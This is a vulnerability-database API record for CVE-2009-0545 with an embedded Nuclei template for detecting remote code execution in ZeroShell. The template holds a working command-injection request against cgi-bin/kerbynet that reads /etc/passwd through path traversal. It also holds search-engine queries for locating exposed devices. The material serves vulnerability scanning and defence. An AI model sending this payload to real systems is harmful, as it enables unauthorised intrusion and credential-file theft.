{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2009-0545/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2009-0545/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2009-0545/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2009-0545/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2009-0545/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2009-0545"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2009-0545"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2009/CVE-2009-0545.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2009-0545\n\ninfo:\n  name: ZeroShell <= 1.0beta11 Remote Code Execution\n  author: geeknik\n  severity: critical\n  description: ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade to a patched version of ZeroShell.\n  reference:\n    - https://www.exploit-db.com/exploits/8023\n    - https://nvd.nist.gov/vuln/detail/CVE-2009-0545\n    - http://www.zeroshell.net/eng/announcements/\n    - http://www.ikkisoft.com/stuff/LC-2009-01.txt\n    - http://www.vupen.com/english/advisories/2009/0385\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C\n    cvss-score: 10\n    cve-id: CVE-2009-0545\n    cwe-id: CWE-20\n    epss-score: 0.90386\n    epss-percentile: 0.99794\n    cpe: cpe:2.3:a:zeroshell:zeroshell:1.0:beta1:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: zeroshell\n    product: zeroshell\n    shodan-query: http.title:\"zeroshell\"\n    fofa-query: title=\"zeroshell\"\n    google-query: intitle:\"zeroshell\"\n  tags: cve,cve2009,edb,zeroshell,kerbynet,rce,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22\"\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022070faede8bbf1940135a4cf1695b48a84fd2e996178f6495cd8d053598b068fec022100a9b669a72c5e3a54440419d7982b3b9c756c4c322d0d775420188fe1932c6bcb:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2009-0545"
}